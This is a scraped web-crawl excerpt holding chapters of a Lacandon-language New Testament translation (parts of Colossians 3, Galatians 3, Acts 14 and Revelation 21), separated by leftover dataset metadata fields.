yʌnin ch'ic ya'ab. Mʌ' ja wirej, a mac a cu pachtic u ba'tac soc raji' yʌnin ya'ab, raji' quet yejer a cu tus c'ujinticob u tus c'uj.\n6 Mʌ' ja wirej, a mac a ti' toy cu manob ich a ray u c'asiro', ca' bin c'uchuc tu q'uinin u xur t'ʌn, bin u ca' ts'a'bʌr u muc'yaj ten C'uj a ti'obo'.\n7 C'aj techex, a ucho' ta wacsex a si'pirex irechex a wet cajarex, ra' u q'uinin ta ts'urintex a c'asiro' a tin ts'ibtaj techex baje'rer.\n8 Quire' baje'rer, ts'oc a pʌyiquex a si'pirex an ten bic a ucho', rajen cʌnex a wet acsʌ'orirex xan, tan a p'ʌtiquex a c'aso' baje'rer. Rajen, ca' a p'ʌtex a je'ra', p'ʌtex a p'ujurex. P'ʌtex a ts'ictarex. P'ʌtex a p'actex ta worex a rac'ob. P'ʌt a chejtiquex a rac'ob. P'ʌt a tsicbarex ti' c'as.\n9 Toc rʌc p'ʌtex a pacran tusex, quire' ta toc rʌc p'ʌtex a ba' c'asir nani a pʌyiquex uch.\n10 Mʌ' ja wirej, a c'ʌmʌnex a ric'ben cuxtarex baje'rer, rajen tan a nequi' cʌniquex C'uj soc ca p'eri'quintiquex a tucurex yejer C'uj a mac a tu betajechexo'.\n11 Rajen cax mʌ' u winiquirechex judío, cax wa ju winiquirechex judío, cax wa ta quibex a ts'iriquex a wot'erex an ten nani u beticob u winiquirob judío, cax wa mʌ' ta quibex a ts'iriquex a wot'erex an ten nani u beticob u winiquirob judío, cax wa ja werex ju'un, cax wa mʌ' a werex ju'un, cax wa ju c'urewechex mac, cax wa mʌ' u c'urewechex mac, a ba'quir toc jach nojo' wa p'eri'o'onex yejer Cristo quire' raji' aca'an tic pixamex.\n12 A techexo' u winiquirechex C'uj. Quire' tu yajquintechex C'uj rajen tu tetechex soc raji' yʌninechex. Quire' tan a cʌniquex C'uj a baje'rera', ca' a yajquintex a rac'obex, quire' ca' a yamtex a ti'obo', mʌ' ts'utechex yejerob a wet acsʌ'orirexi'. Ca' a toc tucrex a wet acsʌ'orirex an bic tsoyo', mʌ' a cʌxtiquex a ba'quiri' a bʌjiri'ex a c'atexe'. Ca' a cʌnex nemʌ' biquechex yejer a mac a cu p'usiquexob, quire' mʌ' ja nunquicobex ti'.\n13 Yʌn muc'tex u choquintic a worex a wet acsʌ'orirex. Cax wa tu choquint a worex a wet acsʌ'orirex, yʌn jawsex u si'pir a ti'o', cax wa ba'quir u choquintic a worex an ten bic toc jawsa'b a si'pirex ten ic Jaj Ts'urirex Jesús. Yʌn toc jawsex u si'pir a wet acsʌ'orirex xan.\n14 Quire' a werex a ba' jach manan no'jo' wa ca yajquintiquex a wet acsʌ'orirex. Rajen cu p'eri'quinticob yorob u yet acsʌ'orirob quire' u yajob u bʌj rajen quet yorob yejer yet acsʌ'orirob.\n15 Mʌ' ja wirej, a Cristojo' tu pʌyechex u bʌjiri' soc a p'eri'quintic a worex yejer Cristo. Rajen ca' a pachtex a p'eri'quintic a worex yejer a wet acsʌ'orirex. Mʌ' a betiquex a ba'quir a cu joc'sic yor a wet acsʌ'orirex.\n16 A techexo', ca' a cha'ex u ts'urintic u t'ʌn C'uj a pixamex soc c'ucha'an a worex a pacran camsiquex a bʌjex xan, soc a pacran chich t'ʌniquex a bʌjex, quij, a baywo' je' a c'ʌyiquex u c'ay C'uj, soc a wa'ariquex: \"Bayo' ti' C'uj.\"\n17 Tu cotor a ba' beyajir ca betiquex, cax tu ca ts'icbarex, cax tu ca beyajex ca' a wesex ti' mac soc yer mac raji' yʌninechex wa a Jaj Ts'urirex Jesucristo. Raji' je' u yamtiquechex soc a wʌc'ʌs ariquex: \"Bayo' ti' ic Tetex C'uj.\"\nQuire' tij cacsex tij corex ti' Cristo ca' ij quibex a je' t'ʌna'\n18 A mac a ch'a'b raq'uinbir ten xib, a xquico' ca' u quib u t'ʌn u mam, quire' tu yacsaj tu yor ti' Cristo.\n19 A mac maminta'b ten xquic ca' u yajquint u rac', ca' u qui' cʌnantej soc mʌ' u ts'ictar ti' u rac'.\n20 Arej ti' a pararex, soc u quibob u t'ʌn u tet yejer u nʌ'ob soc u qui'quinticob yor C'uj. Rajra' ca' u quibob u t'ʌn u tetob, quire' tu yacsob tu yorob ti' Cristo.\n21 U tetechex a pararex, mʌ' a yʌn ts'iquintiquex a pararex soc mʌ' a tupsiquex yorob a pararex.\n22 A mac c'urewinta'b ten u jach ts'urir. Rajra' ca' a quibex u t'ʌn a jach ts'urirex. Mʌ' a chen quibiquex tu q'uinin tu cu tar yir a beyajex soc a wu'yiquex ya'aric techex a jach ts'urirex: \"Jach tsoyechex quire' ca beyajex.\" Ca' a qui' beyanʌquechex taj quire' ca sʌjtiquex C'uj.\n23 Tu cotor a ba' ca betiquex, qui' beyanenex quire' tan a qui' beyajex ti' C'uj, cax ti' a jach ts'urirex xan ca beyajex.\n24 Yʌn c'aj techex a Jaj Ts'urirex je' u bo'otiquechex u bo'orir a c'ʌbex wa ja woquex xan. Je' a c'ʌmiquex a cuxtarex munt q'uin ti' Cristo xan, quire' raji' a Jaj Ts'urirex tu ca beyajex ti' xan.\n25 A C'ujo' quet cu yiric tu cotor mac, quire' cu bo'otic u bo'orir mac, a ba' cu jaric, cax wa mʌ' qui' beyanʌji' mʌ' ju qui' bo'tar. Wa tsoy qui' beyanʌjij cu qui' bo'ta'r.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/CL3.html","date":"2022-07-03T12:29:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104240553.67\/warc\/CC-MAIN-20220703104037-20220703134037-00329.warc.gz","language":"lac","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999980926513672}","num_words":1050,"character_repetition_ratio":0.062,"word_repetition_ratio":0.013,"special_characters_ratio":0.29,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nU t'ʌn Moisés yejer a ba' ara'b ten C'uj ti' ic nunquirex\n1 An biquinin jach chich a jo'rex u winiquirechex u cajar Galacia, quij. Arej ten mac tu nays a worex soc a quibiquex u t'ʌn a mʌ' taji'? A ucho' caj in tsec't u t'ʌn C'uj ʌcʌtan ta wichex ta jach u'yex bic caj quimij Jesús ich u cruz.\n2 Are tenex u winiquirechex u cajar Gálatas wa aca'an techex u Taj'or u Pixam C'uj ra' u q'uinin tan a manex a wu'yex u t'ʌn Moisés? Mʌ' wa tar u Taj'or Pixam u C'uj ta wicnʌnex ra' u q'uinin tan a manex a wu'yex u jach tsoyir u t'ʌn C'uj? Mʌ' wa ta c'ʌmex u Taj'or u Pixam C'uj caj a wacs ta worex?\n3 Jach taj mʌ' ja najtex. Caj a yʌn acsa ta worex caj u yamt techex u Taj'or u Pixam C'uj. Chen baje'rer ca tucriquex c'ucha'an a worex ta junanex. Rajen ca quibiquex a ba' ts'iba'an ich u t'ʌn Moisés.\n4 Mʌ' ja wirej, caj u chucob a pachex uch u winiquirob judío quire' q'uex yorob. Caj u yirob a wacsiquex ta worex u t'ʌn Cristo. Wa baje'rer bin a quibex a ba' ts'iba'an ich u t'ʌn Moisés, ba'wir muc'yajnʌjechex uch? Mʌ' ba'wir ti'. A teno', quin pajic yʌn ba'wir ti' ca' muc'yajnʌjechex. Quin pajic mʌ' ja p'ʌtex u jach tsoyir u t'ʌn C'uj.\n5 Rajen quin wʌc'ʌs c'atic techex. Wa ber caj u ts'aja techex C'uj u Taj'or u Pixam C'uj. Mʌ' wa jach manan caj u ts'aj techex u Taj'or u Pixam C'uj? Mʌ' wa ju jach beyaj ta worex u Taj'or u Pixam C'uj quir u tajquintic a worex? Arex ten a techex ber tar u Taj'or u Pixam C'uj? Tarij wa ta wicnʌnex quire' ta quibex u t'ʌn Moisés wa tarij ta wicnʌnex quire' ta wacsex ta worex u t'ʌn Jesús? Mʌ' wa tarij quire' ta wacsex ta worex ti' Cristo.\n6 A ba' caj in wa'araj techex toc ti' yʌn ich u t'ʌn C'uj quire' ara'b ti' in nunquir Abraham uch. Abraham caj u yacsa tu yor a ba' arab ti' ten C'uj. Rajen caj c'amij Abraham ten C'uj, irej mʌna' u si'pir caj c'amij. Baxuc techex baje'rer.\n7 Rajen ca wiric a mac a cu yacsic tu yor ti' Cristo an ten bic ic nunquirex Abraham caj u yacsaj tu yor ti' C'uj. Robob jach tajir u parar ic nunquirex Abraham xan. Rajen a C'ujo' bin u ca' acsa'birob.\n8 A ucho' a mac caj u ts'ibt u t'ʌn C'uj caj u ts'ibtaj a ba' ara'b ten C'uj, cax mʌ' ju najtej a cu ts'ibo' caj u ya'araj: \"A mac a mʌ' u winiquirob judío cu bin acsa'bir ten C'uj quire' bin u ca' yacsob tu yorob.\" Rajen caj ara'b ti' Abraham ten C'uj cax mʌ' toy u yacsej tu yor a mac a mʌ' u winiquirob judío. Caj ara'b ten C'uj ti' Abraham a je' tsoy t'ʌna': \"Ya'ab mac tera' ich yoc'ocab bin u ca' qui' tar yor quire' bin u ca' yacsej tu yor.\" Baxuc ara'b ten C'uj.\n9 Mʌ' ja wirej, an ten bic Abraham caj u yacsaj tu yor u t'ʌn C'uj, rajen ruc'sa'b u si'pir baxuc tu cotor mac a cu yacsicob tu yorob ti' Cristo, ruc'sa'b u si'pir xan.\n10 Tu cotor mac a cu tus cʌxtic quir u taquic u bʌj, a cu cʌnantic a ba' ts'iba'an ich u t'ʌn Moisés, raji' cu bin ta'cbir u jo'r ten u t'ʌn Moisés, quire' mʌ' ju c'uchur yor u qui' cʌnantic a ti'o'. C'aj wa techex tu ts'iba'an ich u t'ʌn C'uj: \"A mac mʌ' rajra' cu quibic a ba' ts'iba'an ich u t'ʌn Moisés ti' cu bin ich c'ac'.\" Baxuc caj u ts'ibtaj Moisés uch.\n11 Chʌca'an yirir ten tu cotor mac wa mʌna' mac cu yacsa'r ten C'uj ich ca'anan quire' caj u cʌnantaj a ba' ts'iba'an ich u t'ʌn Moisés. Mʌ' ja wirej, toc ts'iba'an ich u t'ʌn C'uj tu cu ya'aric: \"A mac a cu bin yacsa'r ten C'uj ca' yacsej tu yor u t'ʌn. Raji' tsoy yirir ten C'uj, rajen bin u ca' cuxtar munt q'uin.\" Baxuc cu ya'aric u t'ʌn C'uj.\n12 Wa ca' ic chen quibex a ba' ts'iba'an ten Moisés uch, quic bin ij cu'yex jach no'jo'onex. Rajen quic bin ij cu'yex mʌ' jach no'jo'onex wa ca' ij cacsex tij corex quire' u t'ʌn C'uj tu ts'iba'an cu ya'aric ti': \"A mac cu cʌnantic a ba' ts'iba'an ti' cu bin cuxtar munt q'uin.\" Baxuc caj u ts'ibtaj yʌjtseq'uirob u t'ʌn C'uj uch.\n13 Quire' mʌ' c'ucha'an ij corex ic toc quibex a ba' ts'iba'an. Rajen cu ya'aric to'onex bin ij ca'ex ic bin ic muc'yajex. Rajen a Cristojo', caj quimij ich cruz caj u cha'o'onex soc mʌ' jic bin erarex ich c'ac'. Mʌ' ja wirej, caj u bo'ot u c'aq'uir caj ic mʌnex, quire' ich cruz ts'a'b u muc'yaj Cristo to'onex. Aro' tu nups u t'ʌn C'uj tu cu ya'aric: \"Bin u ca' ts'a'bir u muc'yaj ten C'uj a mac sinbir ich che'.\" Baxuc ara'b ti' ic Jaj Ts'urirex ten mac caj quimij ich cruz.\n14 Rajen Cristo caj u bo'otaj u c'aq'uir a tic mʌnex soc u yacsico'onex C'uj quire' tij cacsex tij corex u t'ʌn, rajen a mac a mʌ' u winiquirob judío bin u ca' acsa'birob ten C'uj quire' cu yacsob tu yorob u t'ʌn Cristo Jesús. Baxuc caj ya'araj C'uj uch ti' ic nunquirex Abraham, bin u ca' acsa'birob quire' tu yacsaj tu yor u t'ʌn xan. Rajen tar u Taj'or u Pixam C'uj quir u yamtico'onex soc taj quij cacsiquex tij corex.\nU t'ʌn Moisés yejer u t'ʌn a toc ara'an ti' u nunquirob u winiquirob judío\n15 Baje'rer bin in ca' in camsechex in wet acsʌ'orirechex an ten bic u betic mac ich yoc'ocab. A mac a cu p'eri'quinticob u beyajob soc u qui' p'eri'quintic u ts'ibticob u ju'unin. Caj ts'oc u p'eri'quintic u ts'ibticob u ju'unin toc junpuri' caj u ts'ibtob u ju'unin soc mʌ' u yʌnyʌn c'axicob quire' p'eri' yorob.\n16 Baxuc a C'uj a ucho', caj u toc araj ti' ic nunquirex Abraham yejer u parar a cu bin u pararʌncʌr biq'uin. A C'ujo' mʌ' ju ya'araj ti' Abraham: \"Je' in ts'ic ti' a pararob a ca bin pararʌncʌr\"; irej wa ya'ab. Caj ya'araj ti': \"A parar a ca bin a pararʌncʌr\"; chen turiri' mac, Cristo.\n17 U'yex ba' u c'at ya'ar aro'. A C'ujo' caj u toc araj ti' Abraham bin u ca' tacbir a ti'o', quire' tu yacsaj tu yor. Caj manij cuatro cientos treinta yaxq'uin caj c'uchij tu q'uinin C'uj caj u ya'ar u t'ʌn ti' Moisés. Cax caj u ya'ar u t'ʌn ti' Moisés, a ba' caj u ya'araj C'uj ti' Abraham, mʌ' ju p'ʌtej quire' caj u toc ara'b ti' Abraham uch.\n18 Wa quin chen quibic a ba' ts'ibta'b ten ic nunquirex Moisés quir u taquico'onex mʌ' ba' wir ca' ij cacsex tij cor ti' Cristo. Mʌ' ja wirej, chen ic nunquirex Abraham caj toc ten C'uj quire' tsoy tu t'ʌn an ten bic caj u toc ara'b ti'. Rajen ca' ij cacsex tij cor a ti' xano'.\n19 A techexo', ca bin a c'atiquex ten: Biquinin caj ts'a'b ten C'uj u t'ʌn Moisés quire' ch'ic pachir caj ts'a'b ti' Moisés? A teno' quin nunquic caj ts'a'b ti' Moisés soc ij querex ba' quirir ic si'pirex. Barej cu chen p'atʌr u t'ʌn Moisés hasta tu q'uinin caj rocha'b u ca' parar ten u nʌ', raji' Cristo. Raji' u ch'ic parar u nunquir Abraham a caj u toc araj C'uj ti' Abraham raji' cu bin tar. Mʌ' ja wirej, caj tarij Cristo man u q'uinin ti' u t'ʌn Moisés. A techexo', caj a c'ʌmex u t'ʌn Moisés ra' u q'uinin caj u chuquex tech yʌjmasirob u t'ʌn C'uj. Jeroj u bʌjiri' Moisés caj u wʌc'ʌs mas u t'ʌn C'uj techex.\n20 Caj ts'a'b ten C'uj ti' Moisés caj u mas u t'ʌn ti' u winiquirob judío. Barej u bʌjiri' C'uj caj u toc araj ti' Abraham bic cu bin u yacsej mac. Tu junan caj u ya'araj ti'. Mʌ' ju tuchi'ta'r yʌjmasir u t'ʌn.\nBa'wir ti' u t'ʌn Moisés\n21 Jaj ix tʌco, je' a wa'ariquex ten: \"A teno', tin t'ʌn a ba' caj u ts'ibtaj Moisés to'onex uch mʌ' quet a ba' ara'b tu cotor u t'ʌn C'uj.\" A teno' bin in ca' in nunquej techex, quij caj ya'araj Pablo: \"Mʌ' taji' aro'.\" Wa jaj ix ti', yʌn ich u t'ʌn C'uj wa raji' cuxrico'onex soc c'ucha'an ij corex ij cʌnantex tu cotor a ba' caj u ya'araj to'onex Moisés. Jeroj c'ucha'an ij corex quir ij cacsiquex ic bʌjex ca'anan. Chen mʌna' t'ʌn cu ya'aric.\n22 A cu ya'aric ich u t'ʌn C'ujo', wa mʌna' mac c'ucha'an yor u quibic a ba' caj u ts'ibtaj Moisés ich u t'ʌn uch. Rajen tu cotoro'onex yʌn ic si'pirex. Rajen mʌ' ju c'uchur u yor u taquico'onex u t'ʌn Moisés. Wa quic chen acsiquex tij corex ti' Jesucristo, jeroj cu bin u taquico'onex C'uj, an ten bic caj u toc araj C'uj ti' Abraham uch.\n23 Mʌ' ja wirej, mʌ' toy tac Cristo ich yoc'ocabi' soc ij cacsiquex tij corex ti' Cristo. Barej u t'ʌn Moisés a ts'a'b ti' ten C'uj, cu chen taquic ic jo'rex hasta caj c'uchi tu q'uinin jach tarij Cristo ich yoc'ocab quir u taquic mac a cu yacsic tu yor ti' Cristo.\n24 Mʌ' ja wirej, u t'ʌn Moisés irej yʌjtanrir mac, quire' ra' quir u yesic to'onex a ba' jach tsoy ti' C'uj chen u t'ʌn Moisés mʌ' ju yamta to'onexi' bic tabar ca' ic betex ti'. U t'ʌn Moisés ts'a'b to'onex hasta c'uchij tu q'uinin caj tar Cristo soc ic binex tu yicnʌn Cristo. Jeroj C'uj cu yirico'onex tsoy, quire' tij cacsex tij corex ti' Cristo.\n25 Jeroj caj tari Cristo quir ij cacsex tij corex ti', rajen a to'onexo' a mac tij cacsex tij corex ti', mʌ' ba'wir to'onex u t'ʌn Moisés, mʌ' biq'uin.\n26 Mʌ' ja wirej, tu cotoro'onex u pararex C'uj, ra' u q'uinin caj ij cacsex tij corex u t'ʌn Cristo Jesús.\n27 Rajen tu cotor mac a ti' yʌn tu yʌnex caj toc acsa'b ja' tu jo'rob quire' tu c'ʌmob Cristo quire' raji' ʌjtaquirob quire' u pararob C'uj, rajen p'eri'ob yejer Cristo.\n28 Rajen mʌna' u winiquirob judío, mʌna' u winiquirob griego. Ra' u q'uinin cu yacsicob tu yorob u t'ʌn Cristo. Mʌna' c'urew, mʌna' u ts'urir. Mʌna' xib, mʌna' xquic quire' p'eri'o'onex yejer Jesucristo rajen turiro'onex.\n29 Quire' baje'rer Cristo yʌninechex, rajen C'uj cu yiriquechex irej wa techex u pararechex Abraham. Quire' ta wacsex ta worex irej Abraham caj u yacsaj tu yor uch. Rajen a ba' caj u toc a'araj C'uj ti' ic nunquirex Abraham, raji' cu bin u ca' ts'abir techex.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/GL3.html","date":"2022-07-07T08:07:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104683708.93\/warc\/CC-MAIN-20220707063442-20220707093442-00325.warc.gz","language":"lac","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000054836273193}","num_words":1764,"character_repetition_ratio":0.086,"word_repetition_ratio":0.001,"special_characters_ratio":0.291,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14\nPablo yejer Bernabé ich u cajar Iconio\n1 Caj c'uchob Pablo yejer Bernabé ich u cajar Iconio, caj binob tu cu much'quinticob u bʌj u winiquirob judío ich u chan najir tu cu naj c'ujinticob C'uj. Pablo yejer Bernabé caj u tsec'tajob u t'ʌn C'uj. Caj u rʌc u'yajob bic tabar caj u tsec'tajob Pablo yejer Bernabé rajen ya'ab caj u yacsajob tu yorob cax u winiquirob judío cax a mʌ' u winiquirob judío.\n2 Chen ra' mʌ' u winiquirob judío caj p'usa'b yor ten u winiquirob judío a mʌ' yacsmʌnob tu yorob caj u tucrajob c'as ti' a yacsmʌnob tu yorob u t'ʌn Jesús.\n3 Rajen tiri' p'atob ya'ab u q'uinin caj u camsob u t'ʌn Jesús. Cax p'usa'bob u yorob a mʌ' u winiquirob judío ten u winiquirob judío, Pablo yejer Bernabé mʌ' u jac'ʌr u yorob u tsec'ticob u t'ʌn Jesús. C'uj caj u ts'ajaj u muc' quir u yesic ti'ob carem beyaj, bayiri' xan, a cu jac'ʌr u yorob mac, soc yerob jach taj C'uj cu tsec'ticob u t'ʌn, bayiri' xan, soc yerob C'uj cu jach tucric mac.\n4 Chen mʌ' p'eri'ob u yorob ich a ray cajaro'. Mʌ' ja wirej, junbuj u cajar tsoy yiricob Pablo yejer Bernabé, chen u jer junbuj u cajar quet yorob yejer u winiquirob judío, mʌ' tsoy yirir Pablo yejer Bernabé.\n5 Caj u p'eriquintajob u bʌj yejer a mʌ' u winiquirob judío yejer u winiquirob judío quet yejer u jach ts'urirob u cajar, caj u p'eri'quintob u bʌj quir u chuquicob u pachob Pablo yejer Bernabé. U c'atob u ch'inic u jo'rob Pablo yejer Bernabé.\n6 Caj u yubob bin u ca'ob ch'inbir u jo'rob, caj puts'ob Pablo yejer Bernabé. Caj ruc'ob ich u cajar Iconio caj c'uchob ich u cajar Listra tu ru'umin Licaonia. Ti' binob xan, tu nʌts'a'an u chan cajarob bʌytʌc ti' u cajar Licaonia.\n7 Tiri' caj u tsec'tob u jach tsoyir u t'ʌn C'uj.\nTi' ch'inij u jo'r Pablo ich u cajar Listra\n8 Ti' yʌn turiri' xib ich u cajar Listra, mʌ' ju ximbar, cajʌn mech yoc. U toc berer caj rocha'b ten u nʌ' uch. Mʌ' ju ximbar ti' cura'ani'.\n9 A cajʌn mech yoco', caj u yubaj tu cotor a ba' cu ya'aric Pablo, caj pʌcta'b u wich ten Pablo a cajʌn mech yoco', quire' caj u yiraj caj u yacsaj tu yor a cajʌn mech yoco'. Rajen bin u ca' jawsa'bir yoc ten C'uj.\n10 C'am caj ara'b ti' ten Pablo:\n―Riq'uen, taj ca ch'ictar yejer a woc.\nJeroj seb caj sit'nʌj caj ch'icrʌj, caj u yʌnxchun u ximbar.\n11 Barej caj u yirajob a pimo' u riq'uir a cajʌn mech yoc uch. Caj u yirajob jawsa'b ten Pablo, jeroj tune', c'am awʌtnʌjob a pimo' ich u t'ʌn u winiquirob licaonia caj u ya'arajob:\n―Ca'tur c'uj caj tarob tera'. Tar u tarob ca'anan irej to'onex ic winquirirex.\n12 Caj pach u c'aba' Bernabé, Júpiter an bic u c'aba' a cu tus c'ujinticob. Caj pach u c'aba' Pablo xan, Mercurio u c'aba' a cu tus c'ujinticob xan ich u cajar Listra. Caj pach ten a mac a cʌja'anob ich u cajar Listra. Caj pach Pablo Mercurio quire' Pablo ra' yʌjt'ʌnir mac ir u c'aba'ob u tus cuj Mercurio.\n13 A mac a ti' cʌja'anob ich u cajar Listra ti' c'ʌxa'an u najir tu cu c'ujinticob u tus c'ujob Júpiter tu cu yocarob tu cajar. Jeroj caj tarob u purejob wacʌx, yajaj ton, caj tar u puraj sacerdote u winiquirob licaonia tu cu naj c'ujinticob u tus c'uj Júpiter. Jeroj caj u ts'ajaj u yujintej u top'che' ich u car wacʌx a yajaj tone'. Tabar u quinsa'r wacʌx quir u toquic quir u quinsa' ti' Pablo yejer Bernabé quir u c'ujinta'rob.\n14 Caj u najtajob caj tarob c'ujinbir Pablo yejer Bernabé, caj u jʌtajob u noc' Pablo yejer Bernabé soc yer mʌ' tsoy u c'ujinta'rob ten mac. Pablo yejer Bernabé, caj u c'ʌnajob yacab tu yʌn a pimo', c'am awatʌnʌjob Pablo yejer Bernabé caj u ya'arajob:\n15 ―Ba'wir techex ca betiquex aro' in wet xibirechex? Mʌ' c'ujenobi', xibenob baxuc a techexo'. Rajen caj tarenob in tsec'ticob u t'ʌn C'uj techex soc a p'ʌtiquex a ba' ca betiquex baje'rer. Mʌ' ba'wir techex ca c'ujintiquex a tus c'uj, quire' mʌ' c'uji' quire' mʌ' cuxa'ani'. Ca' a c'ujintex a cuxa'ano'. Mʌ' ja wirej, C'uj caj u betaj ca'anan, C'uj caj u betaj c'ac'nab yejer tu cotor ba' ti' yʌn. A C'ujo', caj u betaj ru'um ich yoc'ocab yejer tu cotor ba' yʌn. Tu cotor sab C'uj caj u betaj xan.\n16 An ten bic u naj cuxtarob mac uch C'uj tu cha'j u cuxtarob a mac a mʌ' u winiquirob judío.\n17 Mʌ' ja wirej, tsoy caj u betaj C'uj ti' tu cotor mac, rajen yerob tu cotor mac ti' yʌn C'uj ich ca'anan. Mʌ' wa taj a C'ujo' cu cha'ic u tar ja' quir u ch'isic u pʌc'ar mac tu cotor, soc u ne ts'ajic u wich u pʌc'ar soc ti'ti' yo'ocho', a ts'a'b ten C'uj soc u qui'tarob u yorob tu cotor mac?\n18 Cax yubej ya'ara' ti'ob ten Pablo a je' t'ʌna', yaj yubob ya'ara' ti'ob ten Pablo. Orac mʌ' ju yubicob, quire' orac u quinsob yajaj ton wacʌx quir u toquicob u sijej ti'ob quir u qui'qui' c'ujinta'rob Pablo yejer Bernabé.\n19 Chen caj c'uchob u winiquirob judío a mʌ' ju yacsob tu yorob u t'ʌn Jesús. Tar c'uchob ich u cajar Listra. Jun yarob ti' u tarob ich u cajar Antioquía, u jer jun yarob ti' u tarob ich u cajar Iconio. Caj tarob u p'usicob u yorob u winiquirob listra quir u ch'ininob u jo'r Pablo. U winiquirob listra caj u quibajob u t'ʌnob rajen caj u ch'inajob u jo'r Pablo. Caj ts'oc u ch'ininob u jo'r Pablo, yerob quimij, jeroj caj u chopʌytob u purej ich tancab u cajar.\n20 Chen barej, caj u much'quintob u bʌj a mac a yacsmʌnob tu yorob tu chara'an u baquer Pablo, jeroj caj riq'uij, caj wʌc'ʌs binij ich u cajar Listra.\nCaj sasij Pablo yejer Bernabé caj ruc'ob quir u binob ich u cajar Derbe.\n21 Caj c'uchob ich u cajar Derbe caj u tsec'tajob u jach tsoyir u t'ʌn C'uj soc yerob bic tabarob u ruc'sa'ob u si'pirob ten Jesús. Ya'ab mac tu yacsajob tu yorob u t'ʌn Jesús ich u cajar Derbe. Barej caj ts'oc aro' caj sutnʌjob tu pachob. Caj wʌc'ʌs binob ich u cajar Listra, bayiri' xan ich u cajar Iconio, bayiri' xan ich u cajar Antioquía.\n22 A Pablojo' yejer Bernabé caj u chichquintajob u yorob a yacsmʌnob tu yorob. Caj u chich t'ʌnajob soc rajra' cu yacsicob tu yorob. Rajen caj u ya'araj ti'ob:\n―Ya'ab ca' bin muc'yajnʌco'onex ti' u t'ʌn C'uj quire' tu ca' ij cocarex tu cu reyintic C'uj.\n23 Jujuntur caj u tetajob u jach ts'urirob tub u muchquinmʌnob u bʌj a yacsmʌnob tu yorob, chen jun yarob teta'b ten Pablo yejer Bernabé. Jeroj tune', caj u yʌn p'ʌtajob u janʌnob quir u sʌjticob C'uj, bayiri' xan, caj u t'ʌnajob C'uj. Caj ts'oc a jera', caj u ya'araj ti' a yacsmʌnob tu yorob Bernabé yejer Pablo:\n―Ca' u cʌnantejtechex Jaj Ts'ur quire' caj a wacsajex ta worex u t'ʌn.\nPablo yejer Bernabé caj urob ich u cajar Antioquía a ti' yʌn ich u ru'umin Siria\n24 Barej caj ts'oc u ch'ʌcticob u ru'umin Pisidia caj c'uchob ich u cajar Perge a ti' yʌn ich u ru'umin Panfilia.\n25 Caj c'uchob ich u cajar Perge ti' caj u tsec'tob u t'ʌn C'uj. Caj ts'oc u tsec'ticob u t'ʌn C'uj caj binob ich u cajar Atalia.\n26 Caj ocob ich chem quir u bin ich u cajar Antioquía. Mʌ' ja wirej, ti' ich u cajar Antioquía caj u c'ʌmob u beyajob. Tiri' xan teta'bob ten a yacsmʌnob tu yorob caj ts'oc u t'ʌnicob C'uj uch. Baje'rer, ts'oc u beyajob rajen caj u sutob tu pachob.\n27 Barej caj urob caj u much'quintajob u bʌj a yacsmʌnob tu yorob tu cu naj c'ujinticob C'uj quire' u c'atob yubicob u t'ʌn Pablo yejer Bernabé. Robob caj u toc arajob ti'ob bic C'uj caj c'anob Pablo yejer Bernabé quir u beticob a ba' u c'at C'uj. Caj u toc arob ti'ob bic C'uj caj u cha'j u yacsicob tu yorob a jach pim mac a mʌ' u winiquirob judío.\n28 Ya'ab u q'uinin ti' p'atob Pablo yejer Bernabé ich yicnʌn a yacsmʌnob tu yorob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC14.html","date":"2022-06-26T17:51:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00730.warc.gz","language":"lac","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000017881393433}","num_words":1369,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nRic'ben ca'anan yejer ric'ben ru'um\n1 Caj ts'oc in wʌyʌc'tic tu cu bin u to'car u jo'r mac ten C'uj. Jeroj tune', caj in pʌctaj caj in wiraj waysa'b a ca'anano'. Caj in wiraj waysa'b a ich yoc'ocabo' soc irir ten mac jach ric'ben. Robob, a uchbenob mʌna', quij, caj rʌc ts'oquij, mʌna', quire' waysa'b ten C'uj soc yʌn u jer ric'ben ru'um. Caj waysa'b yejer u jer ric'ben ca'anano', chen a c'ac'nabo' mʌna', rʌc ts'oquij.\n2 A teno', Juanen, caj in wiraj u cajar C'uj, a Jerusaléno', irej wa tan yeman te' ich ca'anano', tu cu bin u cʌjtarob a mac a taj u yorob. A ray cajaro', caj in wiraj jach manan tsoy an ten bic a xquico' a cu buquintic u noc' a jach manan tsoyo', quire' tar ch'abir ten u mam. Baxuc, caj in wiraj u cajar C'uj.\n3 A teno', caj in wu'yaj u t'ʌn mac, jach c'am caj u puraj u t'ʌn irej wa jach t'ʌn C'uj tin wu'yaj. Raji' caj u ya'araj:\n―C'uchij tu q'uinin cu bin u cʌjtar C'uj yejer a mac a yerob C'uj. U bʌjiri' C'uj cu bin u cʌjtar ich a yerob C'uj. Mʌ' u bin p'ʌtbir, a baywo' raji' je' u yerob C'uj soc ij quet man C'uj.\n4 A ray u q'uinino', C'uj cu bin churic u wich a mac oc'nʌj. Mʌna' mac cu bin quimin, mʌna' mac cu yoc'ar, mʌna' mac cu bin yac'tic u bʌj, mʌna' mac cu bin yajtar. Quire' tu cotor ba' a ti' yʌn uch ich yoc'ocaba' ts'oquij, quire' man ―baxuc caj u ya'araj a mac a cu t'ʌn uch.\n5 